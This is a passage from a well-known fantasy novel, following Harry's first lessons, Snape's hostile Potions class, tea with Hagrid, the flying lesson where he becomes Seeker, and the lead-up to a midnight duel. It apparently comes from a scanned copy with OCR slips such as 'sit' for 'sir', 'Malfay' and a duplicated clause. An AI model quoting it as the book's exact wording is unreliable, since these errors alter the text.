+Percy. + +Peeves stuck out his tongue and vanished, dropping the walking sticks on +Neville's head. They heard him zooming away, rattling coats of armor as +he passed. + +"You want to watch out for Peeves," said Percy, as they set off again. +"The Bloody Baron's the only one who can control him, he won't even +listen to us prefects. Here we are." + +At the very end of the corridor hung a portrait of a very fat woman in a +pink silk dress. + +"Password?" she said. "Caput Draconis," said Percy, and the portrait +swung forward to reveal a round hole in the wall. They all scrambled +through it -- Neville needed a leg up -- and found themselves in the +Gryffindor common room, a cozy, round room full of squashy armchairs. + +Percy directed the girls through one door to their dormitory and the +boys through another. At the top of a spiral staircase -- they were +obviously in one of the towers -- they found their beds at last: five +four-posters hung with deep red, velvet curtains. Their trunks had +already been brought up. Too tired to talk much, they pulled on their +pajamas and fell into bed. + +" Great food, isn't it?" Ron muttered to Harry through the hangings. +"Get off, Scabbers! He's chewing my sheets." + +Harry was going to ask Ron if he'd had any of the treacle tart, but he +fell asleep almost at once. + +Perhaps Harry had eaten a bit too much, because he had a very strange +dream. He was wearing Professor Quirrell's turban, which kept talking to +him, telling him he must transfer to Slytherin at once, because it was +his destiny. Harry told the turban he didn't want to be in Slytherin; it +got heavier and heavier; he tried to pull it off but it tightened +painfully -- and there was Malfoy, laughing at him as he struggled with +it -then Malfoy turned into the hook-nosed teacher, Snape, whose laugh +became high and cold -- there was a burst of green light and Harry woke, +sweating and shaking. + +He rolled over and fell asleep again, and when he woke next day, he +didn't remember the dream at all. + + +CHAPTER EIGHT + +THE POTIONS MASTER + +There, look." + +"Where?" + +"Next to the tall kid with the red hair." + +"Wearing the glasses?" + +"Did you see his face?" + +"Did you see his scar?" + +Whispers followed Harry from the moment he left his dormitory the next +day. People lining up outside classrooms stood on tiptoe to get a look +at him, or doubled back to pass him in the corridors again, staring. +Harry wished they wouldn't, because he was trying to concentrate on +finding his way to classes. + +There were a hundred and forty-two staircases at Hogwarts: wide, +sweeping ones; narrow, rickety ones; some that led somewhere different +on a Friday; some with a vanishing step halfway up that you had to +remember to jump. Then there were doors that wouldn't open unless you +asked politely, or tickled them in exactly the right place, and doors +that weren't really doors at all, but solid walls just pretending. It +was also very hard to remember where anything was, because it all seemed +to move around a lot. The people in the portraits kept going to visit +each other, and Harry was sure the coats of armor could walk. + +The ghosts didn't help, either. It was always a nasty shock when one of +them glided suddenly through a door you were trying to open. Nearly +Headless Nick was always happy to point new Gryffindors in the right +direction, but Peeves the Poltergeist was worth two locked doors and a +trick staircase if you met him when you were late for class. He would +drop wastepaper baskets on your head, pull rugs from under your feet, +pelt you with bits of chalk, or sneak up behind you, invisible, grab +your nose, and screech, "GOT YOUR CONK!" + +Even worse than Peeves, if that was possible, was the caretaker, Argus +Filch. Harry and Ron managed to get on the wrong side of him on their +very first morning. Filch found them trying to force their way through a +door that unluckily turned out to be the entrance to the out-of-bounds +corridor on the third floor. He wouldn't believe they were lost, was +sure they were trying to break into it on purpose, and was threatening +to lock them in the dungeons when they were rescued by Professor +Quirrell, who was passing. + +Filch owned a cat called Mrs. Norris, a scrawny, dust-colored creature +with bulging, lamp like eyes just like Filch's. She patrolled the +corridors alone. Break a rule in front of her, put just one toe out of +line, and she'd whisk off for Filch, who'd appear, wheezing, two seconds +later. Filch knew the secret passageways of the school better than +anyone (except perhaps the Weasley twins) and could pop up as suddenly +as any of the ghosts. The students all hated him, and it was the dearest +ambition of many to give Mrs. Norris a good kick. + +And then, once you had managed to find them, there were the classes +themselves. There was a lot more to magic, as Harry quickly found out, +than waving your wand and saying a few funny words. + +They had to study the night skies through their telescopes every +Wednesday at midnight and learn the names of different stars and the +movements of the planets. Three times a week they went out to the +greenhouses behind the castle to study Herbology, with a dumpy little +witch called Professor Sprout, where they learned how to take care of +all the strange plants and fungi, and found out what they were used for. + +Easily the most boring class was History of Magic, which was the only +one taught by a ghost. Professor Binns had been very old + +indeed when he had fallen asleep in front of the staff room fire and got +up next morning to teach, leaving his body behind him. Binns droned on +and on while they scribbled down names and dates, and got Emetic the +Evil and Uric the Oddball mixed up. + +Professor Flitwick, the Charms teacher, was a tiny little wizard who had +to stand on a pile of books to see over his desk. At the start of their +first class he took the roll call, and when he reached Harry's name he +gave an excited squeak and toppled out of sight. + +Professor McGonagall was again different. Harry had been quite right to +think she wasn't a teacher to cross. Strict and clever, she gave them a +talking-to the moment they sat down in her first class. + +"Transfiguration is some of the most complex and dangerous magic you +will learn at Hogwarts," she said. "Anyone messing around in my class +will leave and not come back. You have been warned." + +Then she changed her desk into a pig and back again. They were all very +impressed and couldn't wait to get started, but soon realized they +weren't going to be changing the furniture into animals for a long time. +After taking a lot of complicated notes, they were each given a match +and started trying to turn it into a needle. By the end of the lesson, +only Hermione Granger had made any difference to her match; Professor +McGonagall showed the class how it had gone all silver and pointy and +gave Hermione a rare smile. + +The class everyone had really been looking forward to was Defense +Against the Dark Arts, but Quirrell's lessons turned out to be a bit of +a joke. His classroom smelled strongly of garlic, which everyone said +was to ward off a vampire he'd met in Romania and was afraid would be +coming back to get him one of these days. His turban, he told them, had +been given to him by an African prince as a thank-you for getting rid of +a troublesome zombie, but they weren't sure they believed this story. +For one thing, when Seamus Finnigan asked eagerly to hear how Quirrell +had fought off the zombie, Quirrell went pink and started talking about +the weather; for another, they had noticed that a funny smell hung +around the turban, and the Weasley twins insisted that it was stuffed +full of garlic as well, so that Quirrell was protected wherever he went. + +Harry was very relieved to find out that he wasn't miles behind everyone +else. Lots of people had come from Muggle families and, like him, hadn't +had any idea that they were witches and wizards. There was so much to +learn that even people like Ron didn't have much of a head start. + +Friday was an important day for Harry and Ron. They finally managed to +find their way down to the Great Hall for breakfast without getting lost +once. + +"What have we got today?" Harry asked Ron as he poured sugar on his +porridge. + +"Double Potions with the Slytherins," said Ron. "Snape's Head of +Slytherin House. They say he always favors them -- we'll be able to see +if it's true." + +"Wish McGonagall favored us, " said Harry. Professor McGonagall was head +of Gryffindor House, but it hadn't stopped her from giving them a huge +pile of homework the day before. + +Just then, the mail arrived. Harry had gotten used to this by now, but +it had given him a bit of a shock on the first morning, when about a +hundred owls had suddenly streamed into the Great Hall during breakfast, +circling the tables until they saw their owners, and dropping letters +and packages onto their laps. + +Hedwig hadn't brought Harry anything so far. She sometimes flew in to +nibble his ear and have a bit of toast before going off to sleep in the +owlery with the other school owls. This morning, however, she fluttered +down between the marmalade and the sugar bowl and dropped a note onto +Harry's plate. Harry tore it open at once. It said, in a very untidy +scrawl: + + +Dear Harry, + +I know you get Friday afternoons off, so would you like to come and have +a cup of tea with me around three? + +I want to hear all about your first week. Send us an answer back with +Hedwig. + +Hagrid + + +Harry borrowed Ron's quill, scribbled Yes, please, see you later on the +back of the note, and sent Hedwig off again. + +It was lucky that Harry had tea with Hagrid to look forward to, because +the Potions lesson turned out to be the worst thing that had happened to +him so far. + +At the start-of-term banquet, Harry had gotten the idea that Professor +Snape disliked him. By the end of the first Potions lesson, he knew he'd +been wrong. Snape didn't dislike Harry -- he hated him. + +Potions lessons took place down in one of the dungeons. It was colder +here than up in the main castle, and would have been quite creepy enough +without the pickled animals floating in glass jars all around the walls. + +Snape, like Flitwick, started the class by taking the roll call, and +like Flitwick, he paused at Harry's name. + +"Ah, Yes," he said softly, "Harry Potter. Our new -- celebrity." + +Draco Malfoy and his friends Crabbe and Goyle sniggered behind their +hands. Snape finished calling the names and looked up at the class. His +eyes were black like Hagrid's, but they had none of Hagrid's warmth. +They were cold and empty and made you think of dark tunnels. + +"You are here to learn the subtle science and exact art of +potionmaking," he began. He spoke in barely more than a whisper, but +they caught every word -- like Professor McGonagall, Snape had y caught +every word -- like Professor McGonagall, Snape had the gift of keeping a +class silent without effort. "As there is little foolish wand-waving +here, many of you will hardly believe this is magic. I don't expect you +will really understand the beauty of the softly simmering cauldron with +its shimmering fumes, the delicate power of liquids that creep through +human veins, bewitching the mind, ensnaring the senses.... I can teach +you how to bottle fame, brew glory, even stopper death -- if you aren't +as big a bunch of dunderheads as I usually have to teach." + +More silence followed this little speech. Harry and Ron exchanged looks +with raised eyebrows. Hermione Granger was on the edge of her seat and +looked desperate to start proving that she wasn't a dunderhead. + +"Potter!" said Snape suddenly. "What would I get if I added powdered +root of asphodel to an infusion of wormwood?" + +Powdered root of what to an infusion of what? Harry glanced at Ron, who +looked as stumped as he was; Hermione's hand had shot into the air. + +"I don't know, sit," said Harry. + +Snape's lips curled into a sneer. + +"Tut, tut -- fame clearly isn't everything." + +He ignored Hermione's hand. + +"Let's try again. Potter, where would you look if I told you to find me +a bezoar?" + +Hermione stretched her hand as high into the air as it would go without +her leaving her seat, but Harry didn't have the faintest idea what a +bezoar was. He tried not to look at Malfoy, Crabbe, and Goyle, who were +shaking with laughter. + +"I don't know, sit." "Thought you wouldn't open a book before coming, +eh, Potter?" Harry forced himself to keep looking straight into those +cold eyes. He had looked through his books at the Dursleys', but did +Snape expect him to remember everything in One Thousand Magical Herbs +and Fungi? + +Snape was still ignoring Hermione's quivering hand. + +"What is the difference, Potter, between monkshood and wolfsbane?" + +At this, Hermione stood up, her hand stretching toward the dungeon +ceiling. + +"I don't know," said Harry quietly. "I think Hermione does, though, why +don't you try her?" + +A few people laughed; Harry caught Seamus's eye, and Seamus winked. +Snape, however, was not pleased. + +"Sit down," he snapped at Hermione. "For your information, Potter, +asphodel and wormwood make a sleeping potion so powerful it is known as +the Draught of Living Death. A bezoar is a stone taken from the stomach +of a goat and it will save you from most poisons. As for monkshood and +wolfsbane, they are the same plant, which also goes by the name of +aconite. Well? Why aren't you all copying that down?" + +There was a sudden rummaging for quills and parchment. Over the noise, +Snape said, "And a point will be taken from Gryffindor House for your +cheek, Potter." + +Things didn't improve for the Gryffindors as the Potions lesson +continued. Snape put them all into pairs and set them to mixing up a +simple potion to cure boils. He swept around in his long black cloak, +watching them weigh dried nettles and crush snake fangs, criticizing +almost everyone except Malfoy, whom he seemed to like. He was just +telling everyone to look at the perfect way Malfoy had stewed his horned +slugs when clouds of acid green smoke and a loud hissing filled the +dungeon. Neville had somehow managed to melt Seamus's cauldron into a +twisted blob, and their potion was seeping across the stone floor, +burning holes in people's shoes. Within seconds, the whole class was +standing on their stools while Neville, who had been drenched in the +potion when the cauldron collapsed, moaned in pain as angry red boils +sprang up all over his arms and legs. + +"Idiot boy!" snarled Snape, clearing the spilled potion away with one +wave of his wand. "I suppose you added the porcupine quills before +taking the cauldron off the fire?" + +Neville whimpered as boils started to pop up all over his nose. + +"Take him up to the hospital wing," Snape spat at Seamus. Then he +rounded on Harry and Ron, who had been working next to Neville. + +"You -- Potter -- why didn't you tell him not to add the quills? Thought +he'd make you look good if he got it wrong, did you? That's another +point you've lost for Gryffindor." + +This was so unfair that Harry opened his mouth to argue, but Ron kicked +him behind their cauldron. + +"Doi* push it," he muttered, "I've heard Snape can turn very nasty." + +As they climbed the steps out of the dungeon an hour later, Harry's mind +was racing and his spirits were low. He'd lost two points for Gryffindor +in his very first week -- why did Snape hate him so much? "Cheer up," +said Ron, "Snape's always taking points off Fred and George. Can I come +and meet Hagrid with you?" + +At five to three they left the castle and made their way across the +grounds. Hagrid lived in a small wooden house on the edge of the +forbidden forest. A crossbow and a pair of galoshes were outside the +front door. + +When Harry knocked they heard a frantic scrabbling from inside and +several booming barks. Then Hagrid's voice rang out, saying, "Back, Fang +-- back." + +Hagrid's big, hairy face appeared in the crack as he pulled the door +open. + +"Hang on," he said. "Back, Fang." + +He let them in, struggling to keep a hold on the collar of an enormous +black boarhound. + +There was only one room inside. Hams and pheasants were hanging from the +ceiling, a copper kettle was boiling on the open fire, and in the corner +stood a massive bed with a patchwork quilt over it. + +"Make yerselves at home," said Hagrid, letting go of Fang, who bounded +straight at Ron and started licking his ears. Like Hagrid, Fang was +clearly not as fierce as he looked. + +"This is Ron," Harry told Hagrid, who was pouring boiling water into a +large teapot and putting rock cakes onto a plate. + +"Another Weasley, eh?" said Hagrid, glancing at Ron's freckles. I spent +half me life chasin' yer twin brothers away from the forest." + +The rock cakes were shapeless lumps with raisins that almost broke their +teeth, but Harry and Ron pretended to be enjoying them as they told +Hagrid all about their first -lessons. Fang rested his head on Harry's +knee and drooled all over his robes. + +Harry and Ron were delighted to hear Hagrid call Fitch "that old git." + +"An' as fer that cat, Mrs. Norris, I'd like ter introduce her to Fang +sometime. D'yeh know, every time I go up ter the school, she follows me +everywhere? Can't get rid of her -- Fitch puts her up to it." + +Harry told Hagrid about Snape's lesson. Hagrid, like Ron, told Harry not +to worry about it, that Snape liked hardly any of the students. + +"But he seemed to really hate me." + +"Rubbish!" said Hagrid. "Why should he?" + +Yet Harry couldn't help thinking that Hagrid didn't quite meet his eyes +when he said that. + +"How's yer brother Charlie?" Hagrid asked Ron. "I liked him a lot -- +great with animals." + +Harry wondered if Hagrid had changed the subject on purpose. While Ron +told Hagrid all about Charlie's work with dragons, Harry picked up a +piece of paper that was lying on the table under the tea cozy. It was a +cutting from the Daily Prophet: + +GRINGOTTS BREAK-IN LATEST + +Investigations continue into the break-in at Gringotts on 31 July, +widely believed to be the work of Dark wizards or witches unknown. + +Gringotts goblins today insisted that nothing had been taken. The vault +that was searched had in fact been emptied the same day. + +"But we're not telling you what was in there, so keep your noses out if +you know what's good for you," said a Gringotts spokesgoblin this +afternoon. + +Harry remembered Ron telling him on the train that someone had tried to +rob Gringotts, but Ron hadn't mentioned the date. + +"Hagrid!" said Harry, "that Gringotts break-in happened on my birthday! +It might've been happening while we were there!" + +There was no doubt about it, Hagrid definitely didn't meet Harry's eyes +this time. He grunted and offered him another rock cake. Harry read the +story again. The vault that was searched had in fact been emptied +earlier that same day. Hagrid had emptied vault seven hundred and +thirteen, if you could call it emptying, taking out that grubby little +package. Had that been what the thieves were looking for? + +As Harry and Ron walked back to the castle for dinner, their pockets +weighed down with rock cakes they'd been too polite to refuse, Harry +thought that none of the lessons he'd had so far had given him as much +to think about as tea with Hagrid. Had Hagrid collected that package +just in time? Where was it now? And did Hagrid know something about +Snape that he didn't want to tell Harry? + + +CHAPTER NINE + +THE MIDNIGHT DUEL + +Harry had never believed he would meet a boy he hated more than Dudley, +but that was before he met Draco Malfoy. Still, first-year +Gryffindors only had Potions with the Slytherins, so they didn't have to +put up with Malfoy much. Or at least, they didn't until they spotted a +notice pinned up in the Gryffindor common room that made them all groan. +Flying lessons would be starting on Thursday -- and Gryffindor and +Slytherin would be learning together. + +"Typical," said Harry darkly. "Just what I always wanted. To make a fool +of myself on a broomstick in front of Malfoy." + +He had been looking forward to learning to fly more than anything else. + +"You don't know that you'll make a fool of yourself," said Ron +reasonably. "Anyway, I know Malfoy's always going on about how good he +is at Quidditch, but I bet that's all talk." + +Malfay certainly did talk about flying a lot. He complained loudly about +first years never getting on the house Quidditch teams and told long, +boastful stories that always seemed to end with him narrowly escaping +Muggles in helicopters. He wasn't the only one, though: the way Seamus +Finnigan told it, he'd spent most of his childhood zooming around the +countryside on his broomstick. Even Ron would tell anyone who'd listen +about the time he'd almost hit a hang glider on Charlie's old broom. +Everyone from wizarding families talked about Quidditch constantly. Ron +had already had a big argument with Dean Thomas, who shared their +dormitory, about soccer. Ron couldn't see what was exciting about a game +with only one ball where no one was allowed to fly. Harry had caught Ron +prodding Dean's poster of West Ham soccer team, trying to make the +players move. + +Neville had never been on a broomstick in his life, because his +grandmother had never let him near one. Privately, Harry felt she'd had +good reason, because Neville managed to have an extraordinary number of +accidents even with both feet on the ground. + +Hermione Granger was almost as nervous about flying as Neville was. This +was something you couldn't learn by heart out of a book -- not that she +hadn't tried. At breakfast on Thursday she bored them all stupid with +flying tips she'd gotten out of a library book called Quidditch Through +the Ages. Neville was hanging on to her every word, desperate for +anything that might help him hang on to his broomstick later, but +everybody else was very pleased when Hermione's lecture was interrupted +by the arrival of the mail. + +Harry hadn't had a single letter since Hagrid's note, something that +Malfoy had been quick to notice, of course. Malfoy's eagle owl was +always bringing him packages of sweets from home, which he opened +gloatingly at the Slytherin table. + +A barn owl brought Neville a small package from his grandmother. He +opened it excitedly and showed them a glass ball the size of a large +marble, which seemed to be full of white smoke. + +"It's a Remembrall!" he explained. "Gran knows I forget things -- this +tells you if there's something you've forgotten to do. Look, you hold it +tight like this and if it turns red -- oh..." His face fell, because the +Remembrall had suddenly glowed scarlet, + +"You've forgotten something..." + +Neville was trying to remember what he'd forgotten when Draco Malfoy, +who was passing the Gryffindor table, snatched the Remembrall out of his +hand. + +Harry and Ron jumped to their feet. They were half hoping for a reason +to fight Malfay, but Professor McGonagall, who could spot trouble +quicker than any teacher in the school, was there in a flash. + +"What's going on?" + +"Malfoy's got my Remembrall, Professor." + +Scowling, Malfoy quickly dropped the Remembrall back on the table. + +"Just looking," he said, and he sloped away with Crabbe and Goyle behind +him. + +At three-thirty that afternoon, Harry, Ron, and the other Gryffindors +hurried down the front steps onto the grounds for their first flying +lesson. It was a clear, breezy day, and the grass rippled under their +feet as they marched down the sloping lawns toward a smooth, flat lawn +on the opposite side of the grounds to the forbidden forest, whose trees +were swaying darkly in the distance. + +The Slytherins were already there, and so were twenty broomsticks lying +in neat lines on the ground. Harry had heard Fred and George Weasley +complain about the school brooms, saying that some of them started to +vibrate if you flew too high, or always flew slightly to the left. + +Their teacher, Madam Hooch, arrived. She had short, gray hair, and +yellow eyes like a hawk. + +"Well, what are you all waiting for?" she barked. "Everyone stand by a +broomstick. Come on, hurry up." + +Harry glanced down at his broom. It was old and some of the twigs stuck +out at odd angles. + +"Stick out your right hand over your broom," called Madam Hooch at the +front, "and say 'Up!"' + +"UPF everyone shouted. + +Harry's broom jumped into his hand at once, but it was one of the few +that did. Hermione Granger's had simply rolled over on the ground, and +Neville's hadn't moved at all. Perhaps brooms, like horses, could tell +when you were afraid, thought Harry; there was a quaver in Neville's +voice that said only too clearly that he wanted to keep his feet on the +ground. + +Madam Hooch then showed them how to mount their brooms without sliding +off the end, and walked up and down the rows correcting their grips. +Harry and Ron were delighted when she told Malfoy he'd been doing it +wrong for years. + +"Now, when I blow my whistle, you kick off from the ground, hard," said +Madam Hooch. "Keep your brooms steady, rise a few feet, and then come +straight back down by leaning forward slightly. On my whistle -- three +-- two --" + +But Neville, nervous and jumpy and frightened of being left on the +ground, pushed off hard before the whistle had touched Madam Hooch's +lips. + +"Come back, boy!" she shouted, but Neville was rising straight up like a +cork shot out of a bottle -- twelve feet -- twenty feet. Harry saw his +scared white face look down at the ground falling away, saw him gasp, +slip sideways off the broom and -- + +WHAM -- a thud and a nasty crack and Neville lay facedown on the grass +in a heap. His broomstick was still rising higher and higher, and +started to drift lazily toward the forbidden forest and out of sight. + +Madam Hooch was bending over Neville, her face as white as his. + +"Broken wrist," Harry heard her mutter. "Come on, boy -- it's all right, +up you get.". + +She turned to the rest of the class. + +"None of you is to move while I take this boy to the hospital wing! You +leave those brooms where they are or you'll be out of Hogwarts before +you can say 'Quidditch.' Come on, dear." + +Neville, his face tear-streaked, clutching his wrist, hobbled off with +Madam Hooch, who had her arm around him. + +No sooner were they out of earshot than Malfoy burst into laughter. + +"Did you see his face, the great lump?" + +The other Slytherins joined in. + +"Shut up, Malfoy," snapped Parvati Patil. + +"Ooh, sticking up for Longbottom?" said Pansy Parkinson, a hard-faced +Slytherin girl. "Never thought you'd like fat little crybabies, +Parvati." + +"Look!" said Malfoy, darting forward and snatching something out of the +grass. "It's that stupid thing Longbottom's gran sent him." + +The Remembrall glittered in the sun as he held it up. + +"Give that here, Malfoy," said Harry quietly. Everyone stopped talking +to watch. + +Malfoy smiled nastily. + +"I think I'll leave it somewhere for Longbottom to find -- how about -- +up a tree?" + +"Give it here!" Harry yelled, but Malfoy had leapt onto his broomstick +and taken off. He hadn't been lying, he could fly well. Hovering level +with the topmost branches of an oak he called, "Come and get it, +Potter!" + +Harry grabbed his broom. + +"No!" shouted Hermione Granger. "Madam Hooch told us not to move -- +you'll get us all into trouble." + +Harry ignored her. Blood was pounding in his ears. He mounted the broom +and kicked hard against the ground and up, up he soared; air rushed +through his hair, and his robes whipped out behind him -and in a rush of +fierce joy he realized he'd found something he could do without being +taught -- this was easy, this was wonderful. He pulled his broomstick up +a little to take it even higher, and heard screams and gasps of girls +back on the ground and an admiring whoop from Ron. + +He turned his broomstick sharply to face Malfoy in midair. Malfoy looked +stunned. + +"Give it here," Harry called, "or I'll knock you off that broom!" "Oh, +yeah?" said Malfoy, trying to sneer, but looking worried. + +Harry knew, somehow, what to do. He leaned forward and grasped the broom +tightly in both hands, and it shot toward Malfay like a javelin. Malfoy +only just got out of the way in time; Harry made a sharp about-face and +held the broom steady. A few people below were clapping. + +"No Crabbe and Goyle up here to save your neck, Malfoy," Harry called. + +The same thought seemed to have struck Malfoy. + +"Catch it if you can, then!" he shouted, and he threw the glass ball +high into the air and streaked back toward the ground. + +Harry saw, as though in slow motion, the ball rise up in the air and +then start to fall. He leaned forward and pointed his broom handle down +-- next second he was gathering speed in a steep dive, racing the ball +-- wind whistled in his ears, mingled with the screams of people +watching -- he stretched out his hand -- a foot from the ground he +caught it, just in time to pull his broom straight, and he toppled +gently onto the grass with the Remembrall clutched safely in his fist. + +"HARRY POTTER!" + +His heart sank faster than he'd just dived. Professor McGonagall was +running toward them. He got to his feet, trembling. + +"Never -- in all my time at Hogwarts --" + +Professor McGonagall was almost speechless with shock, and her glasses +flashed furiously, "-- how dare you -- might have broken your neck --" + +"It wasn't his fault, Professor --" + +"Be quiet, Miss Patil + +"But Malfoy --" + +"That's enough, Mr. Weasley. Potter, follow me, now." + +Harry caught sight of Malfoy, Crabbe, and Goyle's triumphant faces as he +left, walking numbly in Professor McGonagall's wake as she strode toward +the castle. He was going to be expelled, he just knew it. He wanted to +say something to defend himself, but there seemed to be something wrong +with his voice. Professor McGonagall was sweeping along without even +looking at him; he had to jog to keep up. Now he'd done it. He hadn't +even lasted two weeks. He'd be packing his bags in ten minutes. What +would the Dursleys say when he turned up on the doorstep? + +Up the front steps, up the marble staircase inside, and still Professor +McGonagall didn't say a word to him. She wrenched open doors and marched +along corridors with Harry trotting miserably behind her. Maybe she was +taking him to Dumbledore. He thought of Hagrid, expelled but allowed to +stay on as gamekeeper. Perhaps he could be Hagrid's assistant. His +stomach twisted as he imagined it, watching Ron and the others becoming +wizards, while he stumped around the grounds carrying Hagrid's bag. + +Professor McGonagall stopped outside a classroom. She opened the door +and poked her head inside. + +"Excuse me, Professor Flitwick, could I borrow Wood for a moment?" + +Wood? thought Harry, bewildered; was Wood a cane she was going to use on +him? + +But Wood turned out to be a person, a burly fifth-year boy who came out +of Flitwicles class looking confused. + +"Follow me, you two," said Professor McGonagall, and they marched on up +the corridor, Wood looking curiously at Harry. + +"In here." + +Professor McGonagall pointed them into a classroom that was empty except +for Peeves, who was busy writing rude words on the blackboard. + +"Out, Peeves!" she barked. Peeves threw the chalk into a bin, which +clanged loudly, and he swooped out cursing. Professor McGonagall slammed +the door behind him and turned to face the two boys. + +"Potter, this is Oliver Wood. Wood -- I've found you a Seeker." + +Wood's expression changed from puzzlement to delight. + +"Are you serious, Professor?" + +"Absolutely," said Professor McGonagall crisply. "The boy's a natural. +I've never seen anything like it. Was that your first time on a +broomstick, Potter?" + +Harry nodded silently. He didn't have a clue what was going on, but he +didn't seem to be being expelled, and some of the feeling started coming +back to his legs. + +"He caught that thing in his hand after a fifty-foot dive," Professor +McGonagall told Wood. "Didn't even scratch himself. Charlie Weasley +couldn't have done it." + +Wood was now looking as though all his dreams had come true at once. + +"Ever seen a game of Quidditch, Potter?" he asked excitedly. + +"Wood's captain of the Gryffindor team," Professor McGonagall explained. + +"He's just the build for a Seeker, too," said Wood, now walking around +Harry and staring at him. "Light -- speedy -- we'll have to get him a +decent broom, Professor -- a Nimbus Two Thousand or a Cleansweep Seven, +I'd say." + +I shall speak to Professor Dumbledore and see if we can't bend the +first-year rule. Heaven knows, we need a better team than last year. +Flattened in that last match by Slytherin, I couldn't look Severus Snape +in the face for weeks...." + +Professor McGonagall peered sternly over her glasses at Harry. + +"I want to hear you're training hard, Potter, or I may change my mind +about punishing you." + +Then she suddenly smiled. + +"Your father would have been proud," she said. "He was an excellent +Quidditch player himself." + +"You're joking." + +It was dinnertime. Harry had just finished telling Ron what had happened +when he'd left the grounds with Professor McGonagall. Ron had a piece of +steak and kidney pie halfway to his mouth, but he'd forgotten all about +it. + +"Seeker?" he said. "But first years never -- you must be the youngest +house player in about a century, said Harry, shoveling pie into his +mouth. He felt particularly hungry after the excitement of the +afternoon. "Wood told me." + +Ron was so amazed, so impressed, he just sat and gaped at Harry. + +"I start training next week," said Harry. "Only don't tell anyone, Wood +wants to keep it a secret." + +Fred and George Weasley now came into the hall, spotted Harry, and +hurried over. + +"Well done," said George in a low voice. "Wood told us. We're on the +team too -- Beaters." + +"I tell you, we're going to win that Quidditch cup for sure this year," +said Fred. "We haven't won since Charlie left, but this year's team is +going to be brilliant. You must be good, Harry, Wood was almost skipping +when he told us." + +"Anyway, we've got to go, Lee Jordan reckons he's found a new secret +passageway out of the school." + +"Bet it's that one behind the statue of Gregory the Smarmy that we found +in our first week. See you." + +Fred and George had hardly disappeared when someone far less welcome +turned up: Malfoy, flanked by Crabbe and Goyle. + +"Having a last meal, Potter? When are you getting the train back to the +Muggles?" + +"You're a lot braver now that you're back on the ground and you've got +your little friends with you," said Harry coolly. There was of course +nothing at all little about Crabbe and Goyle, but as the High Table was +full of teachers, neither of them could do more than crack their +knuckles and scowl. + +"I'd take you on anytime on my own," said Malfoy. "Tonight, if you want. +Wizard's duel. Wands only -- no contact. What's the matter? Never heard +of a wizard's duel before, I suppose?" + +"Of course he has," said Ron, wheeling around. "I'm his second, who's +yours?" + +Malfoy looked at Crabbe and Goyle, sizing them up. + +"Crabbe," he said. "Midnight all right? We'll meet you in the trophy +room; that's always unlocked." + +When Malfoy had gone, Ron and Harry looked at each other. "What is a +wizard's duel?" said Harry. "And what do you mean, you're my second?" + +"Well, a second's there to take over if you die," said Ron casually, +getting started at last on his cold pie. Catching the look on Harry's +face, he added quickly, "But people only die in proper duels, you know, +with real wizards. The most you and Malfoy'll be able to do is send +sparks at each other. Neither of you knows enough magic to do any real +damage. I bet he expected you to refuse, anyway." + +"And what if I wave my wand and nothing happens?" + +"Throw it away and punch him on the nose," Ron suggested. "Excuse me." + +They both looked up. It was Hermione Granger. + +"Can't a person eat in peace in this place?" said Ron. + +Hermione ignored him and spoke to Harry. + +"I couldn't help overhearing what you and Malfoy were saying --" + +"Bet you could," Ron muttered. + +"--and you mustn't go wandering around the school at night, think of the +points you'll lose Gryffindor if you're caught, and you're bound to be. +It's really very selfish of you." + +"And it's really none of your business," said Harry. + +"Good-bye," said Ron. + +All the same, it wasn't what you'd call the perfect end to the day, +Harry thought, as he lay awake much later listening to Dean and Seamus +falling asleep (Neville wasn't back from the hospital wing). Ron had +spent all evening giving him advice such as "If he tries to curse you, +you'd better dodge it, because I can't remember how to block them." +There was a very good chance they were going to get caught by Filch or +Mrs. Norris, and Harry felt he was pushing his luck, breaking another +school rule today. On the other hand, Malfoys sneering face kept looming +up out of the darkness - this was his big chance to beat Malfoy +face-to-face. He couldn't miss it. + +"Half-past eleven," Ron muttered at last, "we'd better go." + +They pulled on their bathrobes, picked up their wands, and crept across +the tower room, down the spiral staircase, and into the Gryffindor +common room. A few embers were still glowing in the fireplace, turning +all the armchairs into hunched black shadows. They had almost reached +the portrait hole when a voice spoke from the chair nearest them, "I +can't believe you're going to do this, Harry." + +A lamp flickered on. It was Hermione Granger, wearing a pink bathrobe +and a frown. + +"You!" said Ron furiously. "Go back to bed!" + +"I almost told your brother," Hermione snapped, "Percy -- he's a +prefect, he'd put a stop to this." + +Harry couldn't believe anyone could be so interfering. + +"Come on," he said to Ron. He pushed open the portrait of the Fat Lady +and climbed through the hole. + +Hermione wasn't going to give up that easily. She followed Ron through +the portrait hole, hissing at them like an angry goose. + +"Don't you care about Gryffindor, do you only care about yourselves, I +don't want Slytherin to win the house cup, and you'll lose all the +points I got from Professor McGonagall for knowing about Switching +Spells." + +"Go away." "All right, but I warned you, you just remember what I said +when you're on the train home tomorrow, you're so --" + +But what they were, they didn't find out. Hermione had turned to the +portrait of the Fat Lady to get back inside and found herself facing an +empty painting. The Fat Lady had gone on a nighttime visit and Hermione +was locked out of Gryffindor tower. + +"Now what am I going to do?" she asked shrilly. + +"That's your problem," said Ron. "We've got to go, we 3 re going to be +late." + +They hadn't even reached the end of the corridor when Hermione caught up +with them. + +"I'm coming with you," she said. + +"You are not." + +"D'you think I'm going to stand out here and wait for Filch to catch me? +If he finds all three of us I'll tell him the truth, that I was trying +to stop you, and you can back me up." + +"You've got some nerve --" said Ron loudly. + +"Shut up, both of you!" said Harry sharply. I heard something." + +It was a sort of snuffling. + +"Mrs. Norris?" breathed Ron, squinting through the dark. + +It wasn't Mrs. Norris. It was Neville. He was curled up on the floor, +fast asleep, but jerked suddenly awake as they crept nearer. + +"Thank goodness you found me! I've been out here for hours, I couldn't +remember the new password to get in to bed." + +"Keep your voice down, Neville. The password's 'Pig snout' but it won't +help you now, the Fat Lady's gone off somewhere." + +"How's your arm?" said Harry. + +"Fine," said Neville, showing them. "Madam Pomfrey mended it in about a +minute." + +"Good - well, look, Neville, we've got to be somewhere, we'll see you +later --" + +"Don't leave me!" said Neville, scrambling to his feet, "I don't want to +stay here alone, the Bloody Baron's been past twice already." + +Ron looked at his watch and then glared furiously at Hermione and +Neville. + +"If either of you get us caught, I'll never rest until I've learned that +Curse of the Bogies Quirrell told us about, and used it on you. + +Hermione opened her mouth, perhaps to tell Ron exactly how to use the +Curse of the Bogies, but Harry hissed at her to be quiet and beckoned +them all forward. + +They flitted along corridors striped with bars of moonlight from the +high windows. At every turn Harry expected to run into Filch or Mrs. +Norris, but they were lucky. They sped up a staircase to the third floor +and tiptoed toward the trophy room. + +Malfoy and Crabbe weren't there yet. The crystal trophy 